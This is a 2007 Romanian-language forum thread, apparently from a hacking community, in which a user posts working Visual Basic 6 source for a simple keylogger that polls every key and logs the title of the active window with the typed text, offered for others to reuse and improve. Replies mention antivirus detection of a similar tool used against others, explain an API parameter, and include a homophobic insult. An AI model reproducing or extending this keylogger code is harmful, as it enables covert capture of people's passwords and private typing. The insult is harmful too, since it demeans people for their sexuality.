vladiii Posted December 20, 2007 Report Posted December 20, 2007 Am vazut pe aici pe forum cativa oameni care au facut keyloggere, dar la nici unul nu am vazut implementata optiunea care arata si fereastra in care s-a scris textul respectiv. Asa ca am creat eu un mic cod [tot in VB6] care face exact acest lucru.Declararea functiilor API/unor variabile in modul:Public Declare Function GetForegroundWindow Lib "user32" () As LongPublic Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As LongPublic Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerPublic hForegroundWnd As LongPublic Title As String * 1000Public x As LongExplicatie. APIul GetForegroundWindow preia handleul ferestrei foreground (cea mai de sus, daca pot spune asa, sau... ultima pe care ati dat click, sau ati accesat-o). Apoi, cu ajutorul lui GetWindowText, preiau numele ferestrei, folosind handleul obtinut anterior. A 3-a functie API (GetAsyncKeyState) va fi folosita pentru keylogger (care nu va fi prea avansat, dar il puteti imbunatati voi, eu vreau sa prezint doar conceptul).Acum sa trecem la codul de pe formular:Private Sub Command1_Click()Timer1.Enabled = TrueEnd SubPrivate Sub Command2_Click()Timer1.Enabled = FalseEnd SubPrivate Sub Form_Load()Timer1.Enabled = FalseEnd SubPrivate Sub Timer1_Timer() 'Urmeaza codul care intercepteaza titlul ferestrei x = GetForegroundWindow() If (x = hForegroundWnd) Then GoTo label Else hForegroundWnd = GetForegroundWindow() Title = "" GetWindowText hForegroundWnd, Title, 5000 Text1.Text = Text1.Text & vbNewLine & Title End If Exit Sublabel: 'Urmeaza keyloggerul For i = 1 To 255 res = 0 res = GetAsyncKeyState(i) If res = -32767 Then If (i = 32) Then Text1.Text = Text1.Text + " " Else If (i = 13) Then Text1.Text = Text1.Text + vbNewLine Else Text1.Text = Text1.Text + Chr(i) End If End If End If Next iEnd SubPe form trebuie sa adaugati un timer, cu numele Timer1, 2 butoane (Command1 si Command2) si un textbox (Text1). Intervalul timerului eu l-am setat la 50 milisecunde, insa il puteti pune la cat vreti voi.Enjoy ! (pentru nelamuri, postati aici) Quote
andrewboy Posted December 20, 2007 Report Posted December 20, 2007 eu facusem asta:))....dar e mai detectat de AV`uri decat keyloggeru` facut de yonix... ..... era pus pe mt....;) ... Quote
vladiii Posted December 20, 2007 Author Report Posted December 20, 2007 eu facusem asta:))....dar e mai detectat de AV`uri decat keyloggeru` facut de yonix... ..... era pus pe mt....;) ...Asa, si ? Daca aveai o observatie utila/interesanta de facut postai, asa s-a mai umplut forumul de o balarie ! Quote
Guest BanKai Posted December 20, 2007 Report Posted December 20, 2007 1. gandesti ca shcolaritza2. schimba custom rang'ul ala ca e prea de suferintza ... stim ca esti dar nu tre sa urlii in gura mare ... asa vei face si cand se va dovedi ca esti homosexual ? Quote
ÐÒ& Posted December 22, 2007 Report Posted December 22, 2007 mie mi plac scolaritzeleGetWindowText hForegroundWnd, Title, 5000 functioneaza? Quote
kw3rln Posted January 5, 2008 Report Posted January 5, 2008 http://rstcenter.com/index.php?pagina=tutoriale&selecteaza=tutorial&id=64 Quote
Nytro Posted January 16, 2008 Report Posted January 16, 2008 Poate trebuia sa explici putin functiaAPI-ul Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" ( _ ByVal hWnd As Long, _ ByVal sWndTitle As String, _ ByVal cLen As Long) As Long Are nevoie de 3 argumente : hWnd : handlerul ferestrei din care se preia textul , in cazul nostu ForegroundWindow . Parametru de intrare .sWndTitle : Titlul ferestrei . In variabila pe care o veti folosi , in cazul de fata Title , se va memora Titlu ferestrei Foreground . Acest titlu , in caz de succes , se va termina in caracterul NULL . In caz de eroare va fi 0 . Parametru de iesire . cLen : reprezinta lungimea maxima care va fi copiata in variabila Title . Daca acest argument va fi 5 de exemplu , Title va contine primele 5 caractere din titlul ferestrei . Parametru de intrare .Sper sa va ajute Quote